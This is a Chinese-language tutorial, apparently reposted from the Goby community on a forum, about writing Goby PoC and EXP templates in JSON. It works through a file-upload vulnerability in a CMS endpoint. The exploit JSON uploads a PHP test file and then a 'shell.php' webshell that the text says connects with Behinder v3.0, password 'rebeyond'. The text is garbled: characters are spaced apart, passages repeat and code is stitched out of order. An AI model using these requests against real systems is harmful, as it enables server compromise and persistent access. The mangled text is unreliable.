搜索

[17845] 2021-06-01_Json编写PoC&EXP遇到的那些坑

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-06-01_Json编写PoC&EXP遇到的那些坑 J s o n   编 写   P o C & E X P   遇 到 的 那 些 坑 原 创   H u a i N i a n   G o b y S e c   2 0 2 1 - 0 6 - 0 1 G o b y 社 区 第 1 4   篇 技 术 分 享 文 章 全 文 共 ： 5 9 1 4   字       预 计 阅 读 时 间 ： 1 5   分 钟 前 言 ： 前 言 ： 这 几 天 师 傅 们 都 在 提 交   G o b y   的   E X P ， 赶 鸭 子 上 架 ， 一 边 研 究 一 边 写 ， 也 写 出 来 几 个 ， 编 写 过 程 中 遇 到 了 很 多 问 题 ， 都 记 录 了 下 来 。 这 篇 文 章 主 要 讲 一 些 遇 到 过 的 坑 及 调 试 的 问 题 ， 再 通 过 一 个 文 件 上 传 类 P o C / E X P   来 详 细 讲 解 。 因 为 我 也 是 刚 刚 学 习 编 写 ， 如 果 文 章 中 的 说 法 有 什 么 问 题 请 师 傅 们 及 时 指 出 。 我 使 用 的 版 本 是   g o b y - w i n - x 6 4 - 1 . 8 . 2 7 5 ， P o C   使 用   j s o n   编 写 。   0 1   一 些 调 试 遇 到 的 问 题 一 些 调 试 遇 到 的 问 题 1 . 1   通 过 通 过   B u r p   代 理 获 取 代 理 获 取   G o b y   流 量 进 行 调 试 流 量 进 行 调 试 在 扫 描 设 置 中 设 置   B u r p   的 代 理 。 在 设 置 完 代 理 后 最 好 重 启 一 下 ， 之 后 点 击 新 建 扫 描 - > 开 始
B u r p 中 就 可 以 抓 到 包 了 。 注 意 ： 设 置 代 理 后 有 个 小 问 题 ， 就 是 开 始 扫 描 后 抓 不 到 注 意 ： 设 置 代 理 后 有 个 小 问 题 ， 就 是 开 始 扫 描 后 抓 不 到 P O C 验 证 的 流 量 ， 主 要 是 因 为 开 启 扫 描 后 验 证 的 流 量 ， 主 要 是 因 为 开 启 扫 描 后   G o b y   先 进 行 端 口 、 协 议 和 资 产 的 识 别 ， 再 进 行 漏 洞 探 测 。 所 以 这 里 扫 描 的 话 建 议 设 置 先 进 行 端 口 、 协 议 和 资 产 的 识 别 ， 再 进 行 漏 洞 探 测 。 所 以 这 里 扫 描 的 话 建 议 设 置 B u r p   为 为   I n t e r c e p t i s   o f f   ， 因 为 本 身 我 们 需 要 抓 取 的 是 ， 因 为 本 身 我 们 需 要 抓 取 的 是   P o C   的 流 量 ， 这 里 扫 描 的 流 量 就 看 个 人 需 求 了 。 的 流 量 ， 这 里 扫 描 的 流 量 就 看 个 人 需 求 了 。 （ 这 里 测 试 的 只 是 B u r p 的 代 理 ， 我 用 的 版 本 是 1 . 6 的 ， 至 于 其 他 的 代 理 或 者 B u r p 版 本 还 未 测 试 ） 扫 描 结 果 如 下 图 所 示 ： 这 时 候 要 看   P o C   的 流 量 在 修 改   P o C   中 有 一 个 单   i p   扫 描 ， 这 里 可 以 抓 到   P o C   的 流 量
可 以 看 到 已 经 拦 截 到 流 量 了 注 意 ： 这 里 也 有 个 小 问 题 ， 就 是 如 果 在 注 意 ： 这 里 也 有 个 小 问 题 ， 就 是 如 果 在   P o C   管 理 中 测 试 ， 必 须 先 新 建 立 扫 描 任 务 扫 完 后 再 去 管 理 中 测 试 ， 必 须 先 新 建 立 扫 描 任 务 扫 完 后 再 去   P o C   管 理 中 测 试 ， 管 理 中 测 试 ， B u r p   才 可 以 抓 到 包 。 才 可 以 抓 到 包 。 还 有 个 小 技 巧 ， 通 常 修 改 完   P o C   后 需 要 重 启 一 下   G o b y ， 如 果 想 要 快 速 调 试 P o C 包 并 观 察 流 量 ， 修 改 完 后 可 以 点 击 返 回 到   P o C   管 理 页 面 再 点 击 进 来 . 可 以 看 到 流 量 中 明 显 变 化 了 。
1 . 2   识 别 规 则 并 调 用 识 别 规 则 并 调 用   P o C 经 过 测 试 发 现   G o b y   的   P o C   调 用 规 则 是 先 通 过   P o C   写 的 查 询 规 则 去 查 询 ， 如 果 查 询 到 才 会 调 用   P o C   进 行 扫 描 ， 否 则 就 算 你 勾 选 了   P o C   也 不 会 进 行 调 用 。 具 体 得 查 询 规 则 可 以 查 看   G o b y   查 询 语 法 这 里 就 可 以 发 现 有 时 候 通 过   P o C   管 理 手 动 测 试 的 漏 洞 可 以 验 证 成 功 ， 而 通 过 扫 描 的 地 址 无 法 检 测 到 存 在 漏 洞 。 注 意 ： 有 时 候 一 些 注 意 ： 有 时 候 一 些   C M S   需 要 自 己 定 义 一 些 规 则 ， 比 如 需 要 自 己 定 义 一 些 规 则 ， 比 如   b o d y = " t h i s   i s   t e s t "   | |   t i t l e = " 管 理 登 录 管 理 登 录 " 之 类 的 ， 有 时 候 会 发 现 直 接 扫 描 域 名 无 法 匹 配 到 其 规 则 ， 如 果 扫 描 之 类 的 ， 有 时 候 会 发 现 直 接 扫 描 域 名 无 法 匹 配 到 其 规 则 ， 如 果 扫 描 I P 则 会 匹 配 到 。 则 会 匹 配 到 。   0 2 编 写 文 件 上 传 类 编 写 文 件 上 传 类 P o C 及 及 E X P 接 下 来 通 过 一 个 文 件 上 传 类 的   P o C / E X P   来 讲 解 一 下 编 写 过 程 中 遇 到 的 问 题 。 文 件 上 传 的   P o C   规 则 是 需 要 上 传 一 个 输 出 特 定 信 息 并 且 自 删 除 的 脚 本 。 如 ： 这 样 的 话 我 们 需 要 在   P o C   处 发 送 两 次 请 求 ， 第 一 次 进 行 上 传 文 件 操 作 ， 第 二 次 对 上 传 的 文 件 进 行 访 问 并 验 证 ， 在 访 问 之 后 这 个 文 件 会 自 动 删 除 。 下 面 贴 出 请 求 代 码 ， 讲 解 我 通 过 代 码 块 写 出 。 < ? p h p   e c h o   m d 5 ( 2 3 3 ) ; u n l i n k ( _ _ F I L E _ _ ) ; ? > " S c a n S t e p s " :   [         " A N D " ,         {             " R e q u e s t " :   {                 " m e t h o d " :   " P O S T " ,                 " u r i " :   " / w x a p p . p h p ? c o n t r o l l e r = G o o d s . d o P a g e U p l o a d " ,                 " f o l l o w _ r e d i r e c t " :   f a l s e ,                 / / h e a d e r 头 的 设 置 , 这 里 最 好 还 是 通 过 B u r p 抓 包 把 请 求 头 写 入 防 止 请 求 出 错                 " h e a d e r " :   {                     " A c c e p t " :   " t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 " ,                     " A c c e p t - L a n g u a g e " :   " z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 " ,                     " A c c e p t - E n c o d i n g " :   " g z i p ,   d e f l a t e ,   b r " ,                     " C o n n e c t i o n " :   " k e e p - a l i v e " ,                     " U p g r a d e - I n s e c u r e - R e q u e s t s " :   " 1 " ,                     " C o n t e n t - T y p e " :   " m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y 8 U a A N m W A g M 4 B q B S s "                 } ,                 " d a t a _ t y p e " :   " t e x t " ,                 / / p o s t 数 据 可 以 从 B u r p 中 直 接 复 制 , 通 过 G o b y 的 图 形 化 界 面 直 接 复 制 进 去 , 这 里 会 自 动 生 成                 " d a t a " :   " n - - - - - - W e b K i t F o r m B o u n d a r y 8 U a A N m W A g M 4 B q B S s n C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " u p f i l e " ;   f i l e n a m e = " t e s t . p h p " n C o n t e n t - T y p e :   i m a g e / g i f n n < ? p h p   e c h o   m d 5 ( 2 3 3 ) ; u n l i n k ( _ _ F I L E _ _ ) ; ? > n n - - - - - - W e b K i t F o r m B o u n d a r y 8 U a A N m W A g M 4 B q B S s - - "             } ,
这 里 需 要 说 一 下 下 面 的 两 句 正 则 因 为 输 出 的 文 件 地 址 是   / / U p l o a d s / i m a g e / g o o d s / 2 0 2 1 - 0 5 - 2 7 / 0 2 0 6 2 5 4 8 8 1 6 2 0 1 3 2 . p h p   这 样 子 的 如 果 写 成 这 样             } ,             " R e s p o n s e T e s t " :   {                 " t y p e " :   " g r o u p " ,                 " o p e r a t i o n " :   " A N D " ,                 " c h e c k s " :   [                     {                         " t y p e " :   " i t e m " ,                         " v a r i a b l e " :   " $ c o d e " ,                         " o p e r a t i o n " :   " = = " ,                         " v a l u e " :   " 2 0 0 " ,                         " b z " :   " "                     } ,                     {                         " t y p e " :   " i t e m " ,                         " v a r i a b l e " :   " $ b o d y " ,                         " o p e r a t i o n " :   " c o n t a i n s " ,                         " v a l u e " :   " i m a g e _ o " ,                         " b z " :   " "                     }                 ]             } ,             " S e t V a r i a b l e " :   [                 / / 这 里 需 要 设 置 两 个 变 量 , 通 过 正 则 匹 配 返 回 ， 为 上 传 文 件 的 路 径                 " u r l D i r | l a s t b o d y | r e g e x | i m a g e _ o " : " . * g o o d s / ( . * ? ) / . * " " ,                 " u r l D i r 2 | l a s t b o d y | r e g e x | i m a g e _ o " : " . * g o o d s / . * / ( . * ? ) " "             ]         } ,         {             " R e q u e s t " :   {                 " m e t h o d " :   " G E T " ,                 / / 这 里 调 用 上 面 的 两 个 变 量 去 发 送 G E T 请 求                 " u r i " :   " / U p l o a d s / i m a g e / g o o d s / { { { u r l D i r } } } / { { { u r l D i r 2 } } } " ,                 " f o l l o w _ r e d i r e c t " :   f a l s e ,                 " h e a d e r " :   {                     " A c c e p t " :   " t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 " ,                     " A c c e p t - L a n g u a g e " :   " z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 " ,                     " A c c e p t - E n c o d i n g " :   " g z i p ,   d e f l a t e ,   b r " ,                     " C o n n e c t i o n " :   " k e e p - a l i v e " ,                     " U p g r a d e - I n s e c u r e - R e q u e s t s " :   " 1 "                 } ,                 " d a t a _ t y p e " :   " t e x t " ,                 " d a t a " :   " "             } ,             " R e s p o n s e T e s t " :   {                 " t y p e " :   " g r o u p " ,                 " o p e r a t i o n " :   " A N D " ,                 " c h e c k s " :   [                     {                         " t y p e " :   " i t e m " ,                         " v a r i a b l e " :   " $ c o d e " ,                         " o p e r a t i o n " :   " = = " ,                         " v a l u e " :   " 2 0 0 " ,                         " b z " :   " "                     } ,                     {                         " t y p e " :   " i t e m " ,                         " v a r i a b l e " :   " $ b o d y " ,                         " o p e r a t i o n " :   " c o n t a i n s " ,                         " v a l u e " :   " e 1 6 5 4 2 1 1 1 0 b a 0 3 0 9 9 a 1 c 0 3 9 3 3 7 3 c 5 b 4 3 " , / / 判 断 页 面 是 否 有 该 m d 5 值                         " b z " :   " "                     }                 ]             } ,             " S e t V a r i a b l e " :   [ ]         }     ] , " u r l D i r | l a s t b o d y | r e g e x | i m a g e _ o " : " . * g o o d s / ( . * ? ) / . * " " , " u r l D i r 2 | l a s t b o d y | r e g e x | i m a g e _ o " : " . * g o o d s / . * / ( . * ? ) " "
直 接 调 用 发 送   G E T   请 求 为   % 5 C / i m a g e % 5 C / g o o d s % 5 C / 2 0 2 1 - 0 5 - 2 7 % 5 C / 0 2 0 6 2 5 4 8 8 1 6 2 0 1 3 2 . p h p 这 种 请 求 会 返 回 4 0 4 所 以 必 须 将     去 掉 ， 已 知 文 件 的 路 径 除 了 最 后 的 上 传 日 期 和 文 件 名 在 变 化 ， 其 他 不 变 ， 所 以 前 面 路 径 可 以 写 死 ， 通 过 正 则 取 到 日 期 和 文 件 名 进 行 组 合 请 求 。 注 意 ： 如 果 使 用 注 意 ： 如 果 使 用   j s o n   编 写 ， 编 写 ，   这 里 必 须 通 过 两 个 这 里 必 须 通 过 两 个     匹 配 ， 否 则 匹 配 不 到 匹 配 ， 否 则 匹 配 不 到 " u r l D i r | l a s t b o d y | r e g e x | i m a g e _ o " : " . * g o o d s / ( . * ? ) / . * " "   取 出 日 期 ， 结 果 为   2 0 2 1 - 0 5 - 2 7 " u r l D i r 2 | l a s t b o d y | r e g e x | i m a g e _ o " : " . * g o o d s / . * / ( . * ? ) " "   取 出 文 件 名   结 果 为   0 2 0 6 2 5 4 8 8 1 6 2 0 1 3 2 . p h p   然 后 通 过   " u r i " :   " / U p l o a d s / i m a g e / g o o d s / { { { u r l D i r } } } / { { { u r l D i r 2 } } } "   请 求 则 返 回 成 功 P o C   部 分 写 完 ， 接 下 来 看   E X P   部 分 就 比 较 简 单 了 ， " E x p l o i t S t e p s " :   [         " A N D " ,         {             " R e q u e s t " :   {                 " m e t h o d " :   " P O S T " ,                 " u r i " :   " / w x a p p . p h p ? c o n t r o l l e r = G o o d s . d o P a g e U p l o a d " ,                 " f o l l o w _ r e d i r e c t " :   f a l s e ,                 " h e a d e r " :   {                     " A c c e p t " :   " t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 " ,                     " A c c e p t - L a n g u a g e " :   " z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 " ,                     " A c c e p t - E n c o d i n g " :   " g z i p ,   d e f l a t e ,   b r " ,                     " C o n n e c t i o n " :   " k e e p - a l i v e " ,                     " U p g r a d e - I n s e c u r e - R e q u e s t s " :   " 1 " ,                     " C o n t e n t - T y p e " :   " m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y 8 U a A N m W A g M 4 B q B S s "
直 接 上 传   s h e l l ， 这 里 的   d a t a   数 据 还 是 通 过   B u r p   直 接 复 制 即 可 ， 通 过   G o b y   的 图 形 化 界 面 复 制 进 去 会 自 动 生 成 换 行 符 之 类 的 ， E x p l o i t   部 分 可 以 先 将 数 据 通 过   P o C   部 分 的 图 形 化 界 面 生 成 再 复 制 进 下 面   E x p l o i t   的   j s o n 中 。 下 方 为 测 试 截 图 这 里 因 为 需 要 输 出   s h e l l   地 址 和 连 接 方 式 ， 并 且 要 去 掉   ， 这 样 的 话 就 需 要 变 量 或 者 字 符 串 拼 接 . . .   一 直 没 测 试 成 功 ， 就 通 过   e x p P a r a m s   设 置 了 一 下 显 示 信 息 . . . 但 是 这 样 是 不 合 规 的   -   - ， 因 为   E x p P a r a m s   不 是 当 做 输 出 信 息 来 用 的 ， 而 是 为 了 给   E X P   传 参 用 的 。 最 后 问 了   G o b y   的 师 傅 说 目 前 使 用   j s o n   编 写 要 想 在   o u t p u t   处 实 现 这 样 的 需 求 是 不 行 的 ， 想 要 实 现 的 话 只 能 使 用   g o   来 编 写 了 。   0 3 总 结 总 结 - . -   编 写 过 程 中 还 是 遇 到 了 很 多 问 题 ， 大 部 分 算 是 解 决 了 ， 当 然 一 些 需 求 还 是 需 要 用   g o   写 ， 希 望 能 帮 助 还 不 会   g o   语 言 的 小 伙 伴 们 通 过   j s o n   去 编 写   P o C / E X P 。 最 后 感 谢 师 傅 们 的 指 导 ~ ~ ~                 } ,                 " d a t a _ t y p e " :   " t e x t " ,                 " d a t a " :   " n - - - - - - W e b K i t F o r m B o u n d a r y 8 U a A N m W A g M 4 B q B S s n C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " u p f i l e " ;   f i l e n a m e = " s h e l l . p h p " n C o n t e n t - T y p e :   i m a g e / g i f n n < ? p h p n @ e r r o r _ r e p o r t i n g ( 0 ) ; s e s s i o n _ s t a r t ( ) ;             } ,             " R e s p o n s e T e s t " :   {                 " t y p e " :   " g r o u p " ,                 " o p e r a t i o n " :   " A N D " ,                 " c h e c k s " :   [                     {                         " t y p e " :   " i t e m " ,                         " v a r i a b l e " :   " $ c o d e " ,                         " o p e r a t i o n " :   " = = " ,                         " v a l u e " :   " 2 0 0 " ,                         " b z " :   " "                     } ,                     {                         " t y p e " :   " i t e m " ,                         " v a r i a b l e " :   " $ b o d y " ,                         " o p e r a t i o n " :   " c o n t a i n s " ,                         " v a l u e " :   " i m a g e _ o " ,                         " b z " :   " "                     }                 ]             } ,             " S e t V a r i a b l e " :   [                 " o u t p u t | l a s t b o d y | r e g e x | i m a g e _ o " : " ( . * ? ) " "             ]         }     ] , " E x p P a r a m s " :   [         {             " n a m e " :   " w e b s h e l l i n f o " ,             " t y p e " :   " t e x t a r e a " ,             " v a l u e " :   " U s i n g   B e h i n d e r _ v 3 . 0   c o n n e c t i o n ,   p a s s w o r d   i s   r e b e y o n d " ,             " s h o w " :   " "         }     ] ,
最 新 最 新 G o b y 使 用 技 巧 分 享 使 用 技 巧 分 享 ： ： •     梦 幻 的 彼 岸   |   A p a c h e   T o m c a t 样 例 目 录 s e s s i o n •   k i o   |   如 何 利 用 G o b y 将 防 守 单 位 打 出 局 •   b y t e s e c   |   从 致 远 O A - a j a x . d o 漏 洞 复 现 到 利 用 •   z z l y z q   |   利 用 G o b y 发 现 企 业 云 网 络 中 的 安 全 隐 患 •   z h z y k e r   |   如 何 编 写 合 格 的   P o C   领 取   G o b y   红 队 专 版 更 多   > >     打 野 手 册 如 果 表 哥 / 表 姐 也 想 把 自 己 上 交 给 社 区 （ G o b y   介 绍 / 扫 描 / 口 令 爆 破 / 漏 洞 利 用 / 插 件 开 发 /   P o C   编 写 等 文 章 均 可 ） ， 欢 迎 投 稿 到 我 们 公 众 号 ， 红 队 专 版 等 着 你 们 ~ ~ ~ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理